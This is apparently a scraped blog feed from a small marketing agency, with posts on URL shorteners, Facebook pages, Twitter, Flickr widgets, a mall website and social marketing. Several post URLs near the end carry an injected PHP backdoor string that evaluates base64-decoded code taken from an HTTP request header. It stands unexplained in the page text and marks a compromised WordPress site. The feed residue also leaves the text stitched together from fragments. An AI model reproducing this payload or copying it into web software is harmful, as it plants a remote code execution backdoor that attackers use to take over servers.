I’m proud to be represented once again (the first time was in August 07) by my photograph “Dump Trucks at Davis & High House” as the SOT Picture of the Week.

I suppose this photo is newsworthy due to the pitched battle that was fought over the development of this land.

A grass roots public advocacy group, DavisAndHighHouse.org, formed to fight additional development at this corner in Cary. It proved a lightening rod for public dissatisfaction with development in general, tipping the balance in municpal elections. One term mayor Ernie McAlister was upset and slow-growth candidate Harold Weinbrecht took over in North Carolina’s sixth largest city (News & Observer, 10/9/07).

Slow growth may be in, but too late to roll back the tide at the corner of Davis & High House.

Special thanks to SmartGrowthGirl.com and to Dave DeWitt and Katy Barron at WUNC.

One of the buzz topics last week was Security & Safety. The issue is URL shortening services.

WHAT IS A URL SHORTENER?

Some URLs run to dozens of characters, making them impractical to use. URL shortening services transform long URLs into short ones, thus:

http://searchengineland.com/analysis-which-url-shortening-service-should-you-use-17204

becomes

http://bit.ly/jphUs

Shortened URLs are particularly important on character-limited status services like Twitter (140 characters max).

4 PROBLEMS AND RISKS OF SHORTENERS

Some shorteners are built in to services like Twhirl. Most can be surfed up on the web or added to your toolbar. Very convenient. But what are you getting? And what are the risks?

1. Transparency - I like to see where I’m going before I click.

2. Who’s monitoring my traffic? By introducing a third party between the user and destination, the issue of trust becomes important. Or, as Ronald Reagan used to say, trust but verify.

3. What if the service goes dead? What happens to my links? All of us use links in our content. It would be bad if those links failed because the service provider went belly up. Is there backup of all transformed links?

4. Bogus redirects - All of us get rickrolled once in a while, but shortened URLs potentially open the door to all kinds of click fraud.

THE SOLUTION: USE BIT.LY

Dozens of services have sprung up, in part to serve the booming Twitterati. Danny Sullivan does an in-depth review in SearchEngineLand.

The short answer: Bit.ly. It’s safe and secure. It also has a couple of very cool features:

LINK STATS - I love stats. Now you can have stats on how often and who clicks on your links. Guess what? This can help shape your content to more accurately match your audience.

PREVIEW PLUGIN - This beta plugin for Firefox gives you a cool Flash popup preview of the destination before you click. Voila! Click fraud defeated.

MORE INFO

Got more questions about URL shorteners or security or using social networks for business? Contact us.

• there are 2 billion Google searches a day (source)
• there are 78 million YouTube videos online (source)
• over 100 million YouTube videos are viewed per day
• 346 million people globally read Blogs daily (source)
• 77% of active internet users read Blogs
• Facebook has 175 million users from 170 countries (source)
• Facebook users have an average of 120 friends
• the fastest growing demographic of Facebook users are 35 years old & older

The old economy may be drying up, but the new economy is awash in opportunities. Need a lifeboat? Give us call.

Twitter is still such a small world. Mostly, it’s the early adopters. @DavidPogue and @StephenFry scroll across my Twhirl panel. @LanceUlanoff reports from a trip to Google and @ScottMonty takes questions with Alan Mullaly at Ford.

A couple of weeks ago, @TateShots twittered their friends for questions to be put to Mr. Hockney. I’ve always been intrigued by the mosaic pictures. Recently, shooting a panoramic flash header, I wondered about Hockney’s technique  - how did he compress space without appearing to use a long lens?

Here’s David Hockney’s answer to my question:

[Reading] ‘How did you shoot your mosaic series?  From a fixed position, or moving around, changing focal lengths?’

I’m assuming [Hal is] talking about Pear Blossom Highway, which was – it looks as though it’s a view from one point, but not one of the photographs was taken from that viewpoint.  I moved everywhere, and in every direction, but I had to start piecing it together while I was out there, otherwise I wouldn’t have known what to take next.

Actually, I was thinking about Place Furstenburg, but Pearblossum Highway is good, too. See the full Q&A on video (just four minutes long) on TateShots #20.

Twitter is still a toddler in social media, but it is growing up fast. The Tate is ahead of the curve, but clearly demonstrating nuts-and-bolts social marketing that promotes interaction, discussion and engagement.

Join the fun. Follow me on Twitter.

Almost every business benefits by using photos to help tell their story. Increasingly, businesses are turning to Flickr as the perfect channel for serving their pictures.

In the last few months, a tide of new tools for sharing Flickr photos and sets have flooded the market. For the most part, these are free utilities that you use on the web. You enter some info, click “Create” and grab some code to put on a web page or in your blog.

We’ve found a lot of great tools for re-distributing Flickr photos. Flickr makes its own tools (which are very nice). FlickrSlidr is also cool (see it on our Photo page).

Most of the widgets we found were approximately square in shape: 1:1 or maybe 4:3. So, when we needed a wide horizontal slide show widget (16:9 or better), we searched around and found Slideoo.

Slideoo is simple to use. We created the widget in about 5 minutes. Their embed code worked perfectly (see above).

You can set the width and picture size with Slideoo. The widget above is 500px wide with thumbnail pictures. The widget includes “+/-” buttons and a slider at the bottom. See a different config on our Portfolio page.

The emerging world of widgets lets us concentrate on content, not code, adding cool features without any programming. Slideoo is a great new tool in the utility belt.

IF YOU HAVE A FACEBOOK BUSINESS PAGE

If you already have a Facebook Page for your business, you need to go have a look at what the changes have wrought on your previous design.

Many people had previously used a work-around called Extended Info to add more content to FB Pages. That info is now assigned to the sidebar, leaving the new page mostly blank.

Visit your FB Page, update the content and send a blast to your fans.

IF YOU DON’T HAVE A FACEBOOK PAGE

If you have resisted getting a FB Page for your business, now is the time. With all the new functionality, there is sure to be a rush of new Pages.

Join the fray now. On your FB Home, click on Ads and Pages (on the right, under Applications). If you don’t have Ads and Pages, search under the Applications link and add it.

Malls, mixed-use developments, shopping centers - call them what you will, they dot the landscape of America.

Many of the larger developments have websites. For the most part, they’re pretty awful. So, when we were asked to produce a new website for North Hills, a mixed-use development in Raleigh, NC, our goal was to help bring the category into a Web 2.0 world.

Two months after the launch, we have every reason to feel we’ve achieved. Stats are great, everything works, and best of all, a continuing content stream is beginning to bloom. It’s interesting stuff, too - stories, bios, pictures and video.

So here’s a checklist of things we think a contemporary mall or mixed-use website needs.

The Basics

1. A page for each merchant
2. A picture for each merchant
3. Descriptive text for each merchant (more than just a phone number and an outside link)

It is surprising how few big developments have reached this level of information. See our collection of links for malls and mixed-use developments on Delicious (and please feel free to add links to other sites in the category).

The Finer Points

1. Interactive Map
2. Continuing Content Stream
3. Ad Platform

(1) The interactive map is a challenging bit of engineering and UI. We’ll write more about it soon. (2) In most cases, developing a rich content stream requires cultural change for clients. Training and continued support are mandatory to advance evolutionary adoption of web 2.0 tools like blogs and twitter. (3) Big developments like North Hills have the potential to draw big traffic. Why settle for pennies on the dollar when you could have it all with your own ad platform? Tune in again for a discussion about implementing your own ad server.

Best Practices

To boost the performance of a site in this category as measured by key stats like Time On Site and Page Views, here are a few best practices we can recommend:

1. Minimize outside links
2. Run outside content in an iframe within your site
3. Drive traffic to niches with CPC advertising
4. Pay attention to what Analytics tells you about your audience

The Last, Most Important Point

Like all other advertising and marketing ventures, success is rooted in a good agency-client relationship. We are deeply grateful to Kane Realty Corporation for their vision and their patience throughout this project.

Special thanks to:

• Anna Smith
• Mike Smith
• Bonner Gaylord
• Jon Masterson
• Katherine Knott
• Angela Slater
• Paul Newcomer
• Walt Stewart
• North Hills Security

For Goodtree & Company:

• George Gumpert, master programmer
• David Holt, design
• John Dixon, flash
• Leslie Huffman, merchant database and blogging diva
• Hal Goodtree, precious little

Thanks also to Allen Weiss, Michael Kimsal, Lindsey Chester, Paul Harnett, Dorothea Bitler, Jill Harris, Fiquet, Kevin and Stacey Jennings, Wick Morgan and Jason Peck. And thanks to Jake St. Peter and Mike McTaggart for their generous time.

Please contact us for more information about mall, shopping center and mixed-use development websites.

http://tinyurl.com/bzaxen

Facebook’s conundrum about monetizing its marketing potential was a topic of conversation on the most recent installment of BeanCast featuring me, Ben Kunz and Peter Kim.

The term “social marketing” dates from the 1970’s and originally defined a concept of using marketing for social good. Today, social marketing means employing user-generated channels on the internet to achieve business goals like reaching a broader audience and motivating action.

Social Marketing Channels

Here’s a quick run down of some popular social networks and how businesses are using them as marketing channels:

Facebook - Businesses can create pages, groups and ads. The FB platform is 5 years old and boasts 1 in 5 internet users worldwide.

Twitter - Sometimes called “microblogging,” messages are no more than 140 characters in length and often contain links to more content. Great tool for a real-time interaction with your audience.

LinkedIn - This portal is all about business and networking. Its social tools are still pretty basic, but users can start groups, republish blogs, post status and employ several other useful features.

ActiveRain - A huge community of real estate professionals. Vibrant blogging community.

Flickr - Popular site for serious photographers (amateur and professional). Millions of users. Flickr is both a utility (a convenient way to serve pictures elsewhere on the web) and a social community.

Ning - Build your own social portal. Works well for niche categories.

YouTube - like, Flickr, YouTube is both a utility and a community. YouTube videos can have a profound effect on search results, catapulting your business to the top of page one.

Delicious - Social bookmarking is a way to share collections of links. See an example of how we use this for Julie Roland Realtor.

Blogs - A huge audience gets news and information from blogs, often without knowing it. Blogs provide businesses with a low-cost personal publishing platform that can accomodate text, pictures, video, links and comments. Blogs are easily shared and republished, making them a powerful social marketing platform.

Viral for the Masses

One of the key attributes of the new social media landscape is the opportunity to launch viral marketing initiatives. “Viral” simply means that you are relying upon your audience to circulate your message.

Where viral happened in the past, it was either carefully engineered or largely by accident. Viral marketing remained a small business.

But social channels including Twitter, LinkedIn and Facebook all contain built-in features that allow anyone, anytime to start something viral. Example:

• “Share a link” on Facebook
• Retweets on Twitter
• Status messages on LinkedIn

What’s better than getting your audience to circulate your message?

Promote Engagement

Social media, which include blogs, promote engagement between marketers and the audience. It’s important to open up all the potential avenues (while protecting yourself from spam, of course). Make it easy for people to comment, share or email your content.

When people take the opportunity to interact with your brand, they are more likely to return, remember and purchase.

The keys to promoting social engagement:

• Real people, real names - audiences respond best to real people using their real names. “info@…” doesn’t cut it in social media.
• Many channels - it’s easy to share your content across many social marketing channels. Enter it once, it appears everywhere. In social marketing, you have to go where your audience congregates, not expect them find you on your outpost in cyberspace.

Those are just a few of the most popular ways businesses are using social marketing. We’d love to hear how you use social marketing to advance your message. Comment here or drop us a note.

Sure, the blogosphere gets bigger every year. The pool of experts continues to expand (you know you’re one if you read ProBlogger). But even more key, the pool of non-experts is really taking off.

Two things are widening the audience for blogs:

1. Better options for integrating blogs into web pages and social sites
2. “Subscribe by email”

Better Options

Back in the day (last year), you could re-publish your blog as html, allowing you to place it on a web page. Now, you can click a box and syndicate your stuff so it automatically appears on Facebook and Twitter.

Over at WidgetBox, you can build a shiny widget with a few clicks that others can easily use to re-publish your content. About a third of our traffic is coming from off-site syndication.

Bottom line: more people have more places to see your stuff and it doesn’t look like a “blog.”

Subscribe by Email

Feedburner and others give publishers an option to include a “subscribe by email” link. It’s easy to enable - just a few clicks and embed a piece of code.

Feedburner’s email service (free) provides a really clean, professional, business-grade product to the inbox of subscribers. People who “don’t read blogs” are signing up in droves.

Check it out for yourself: Subscribe to our blog by email :)

Call it Anything Else

Call it a Journal or a Notebook or News. Take inspiration from The Sartorialist, Make the Logo Bigger and Slashdot.

Why do we call ours a blog? Cause it’s for experts ;)

BeanCast is produced and hosted by Bob Knorpp.

Facebook lets you create pages to promote your business. But the functionality is still pretty limited. Here’s a synopsis of our experience with FB Business Pages.

PAGE OWNERSHIP - A DIFFERENT MODEL

Facebook specifically advises that business pages are to be a subset of profiles. That is, they frown upon creating two (or more) profiles (one for a biz and one for an individual). This runs against the model of other social networks including MySpace, YouTube and Flickr.

But FB has a pretty good reason for their approach: the Facebook franchise is based on real people with real email addresses (unlike MySpace where everyone has a slew of profiles).

PAGE DESIGN - WEAK

The options for page design are pretty limited. Most of the Apps you can add to a profile cannot be added to a Business page. FB only offers one generic choice for color and style (white page, black type, blue accents).

FUNCTIONALITY - LIMITED

Pages don’t offer much opportunity to push content out to an audience. I’m a fan of a dozen pages, but never get an update. So, in effect, I forget about a page after the initial contact.

The New York Times has created an App which streams the most-emailed stories to your profile. But creating a custom FB application is totally beyond the means of small advertisers.

FB PAGES - ANALYSIS

Facebook pages have a long way to go before they provide any meaningful value for business. Better to run an ad on FB and direct the traffic to your website or a landing page.

FB is the hot ticket today, but they’d better improve the show before the next circus rolls into town.

Along comes Twitter. It’s not exactly new, but of late has been growing by leaps in acceptance and usage.

Twitter is sometimes called a “microblog.” Most posts are one line. Including a link is popular. People use them as status updates or even marketing channels. You can grab the feed and display it on a standard web page.

Your “tweets” go out to all those who are “following you” just like friends on Facebook or Contacts on Flickr and Linked In. But you can also “direct message” individual contacts. Which is where AOL gets in to trouble.

Why do I need an IM client (like AIM) open on my desktop hogging up RAM and real estate when all my pals are on Twitter now? I can just “dm” them from Twirl or Tweekdeck.

You can follow me on Twitter @hal990. I probably won’t be AIM so much anymore.

Active Rain, of course, is the largest portal for real estate professionals in the U.S. with over 100,000 users.

I re-published my own content from this blog to my blog on Active Rain. Guess what? Lot more people saw it as evidenced by the comments.

Over the weekend, Mike Jaquish alerted me that the post had be re-blogged by someone in Florida. Is this legal? Heck, yeah! You can choose whether or not to allow your content to be re-blogged, but generally it is considered a means to a larger audience. What’s good for SNL and David Pogue is good for you and me too.

Result: a few hundred more people have seen my content (Pogue hates that word), some have commented, and maybe a couple will take the time to search our Goodtree & Company.

It’s quite simple really. Like art mashups, social mashes throw together two different things.

In this case, I’m mashing Last.fm with the posts in my blog. When I publish a post, the latest song I played on Last.fm is added to the Flare links under the headline.

This is a different thing than just resyndicating content. YouTube and Flickr republish my pictures and videos on Facebook. But those streams become part of the FB content river.

A true mash-up has an element of randomness. It can be jarring. Or illuminating.

First of all, you don’t need a myspace account or a myspace profile to advertise. Even if you have a profile, you need to create a separate account for advertising.

Ads can be targeted by geography, gender, age and interest.

As well, MySpace ads offer interesting stats, just what you’d expect from a Google company. But maybe the best feature is Build an Ad:

Build an Ad has an easy-to-use interface that offers a lot of creative options. You can build a box ad or a banner. Use a pre-made template or upload a picture. Size, scale and color your fonts. Experienced designers and novices will like this feature.

AUDIENCE

Finally, a word about the audience. Every social portal has it’s own vibe and character. Here’s what we think:

• MySpace is like a bar
• Facebook is like the YMCA

If your product or service targets the party crowd - 21 to 30, not married - then MySpace has a powerful new way for you to reach your elusive audience. It’s not just for brewers of beer - MySpace is a great channel for reaching young adults interested in fitness, fashion, health, culture and more.

If your audience is adults 30 and up, tune in again for our upcoming post on Facebook advertising.

]]> http://goodtreecompany.com/wordpress/2008/10/07/advertising-on-myspace/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://goodtreecompany.com/wordpress/2008/09/29/234/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://goodtreecompany.com/wordpress/2008/09/29/234/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 29 Sep 2008 10:01:40 +0000 Hal http://goodtreecompany.com/wordpress/?p=234 Over the last couple of weeks, our YouTube channel has been going nuts. Our content has now topped 12,000 views!

We decided to look at the stats.

YouTube has a feature called Insights where you can see daily views, demographics and location data for your videos.

What did we learn? Well, 72% of our audience is male; the largest group is 45-54 year olds. YouTube Insights has a long way to go to become a truly useful statistical tool.

“Department of Babies” (Cannes Lion winner) is the most popular spot followed by “Warren Sapp” for the NFL (above).

Thanks to everyone for viewing our YouTube channel!

From start-ups to superstars in five years, social networking on the internet has swept across the planet, embracing the youngest users (teens) and washing upward like a tide. The tide has finally reached the baby boomers.

Last year, adults started watching YouTube in large numbers. This year, Facebook has surged since it opened it’s ranks to everyone. And Linked In, which was always about business, has added some significant new features that will advance it strongly into the future.

Every business has a story to tell and web video is the most powerful, persuasive way to tell it. YouTube is far and away the preeminent channel for serving and sharing video online.

It started as a network for students. It’s had its share of controversy. But in 2008, adults have been joining Facebook in a stampede. Reasons why FB is a must-have for business:

1. More wholesome than MySpace - FB feels like a giant picnic for family and friends. MySpace feels like a bar.
2. Real Names, Real Friends - With its emphasis on real names, FB lets you re-connect with your real-world friends, relatives and colleagues. These are people who already know you and trust you.

While not as mature as the first two, Linked In has become a very popular network for renewing business connections. It’s skewed toward people with longer careers - they tend to have more connections, recommendations and better resumes than younger workers. Today, LI rolled out some huge new enhancements to Linked In Groups. More about LI’s new features next week.

Participating in social networks increases the reach of your personal and professional message. It raises your rankings in search. But it’s also a time consuming process.

That’s why it’s good to see the dust settle a little, and three networks emerge as clear winners for business. Other portals have their charms, but people in business need to be on The Big Three In to stay relevant in a Web 2.0 world.

Photos by George Gumpert & Hal Goodtree. Design by Goodtree & Co.

Read the story behind this picture. Thanks to Wendy at the American Red Cross Flickr group.

Mission of the American Red Cross

Since its founding in 1881 by visionary leader Clara Barton, the American Red Cross has been the nation’s premier emergency response organization. As part of a worldwide movement that offers neutral humanitarian care to the victims of war, the American Red Cross distinguishes itself by also aiding victims of devastating natural disasters. Over the years, the organization has expanded its services, always with the aim of preventing and relieving suffering.

Donate to the American Red Cross.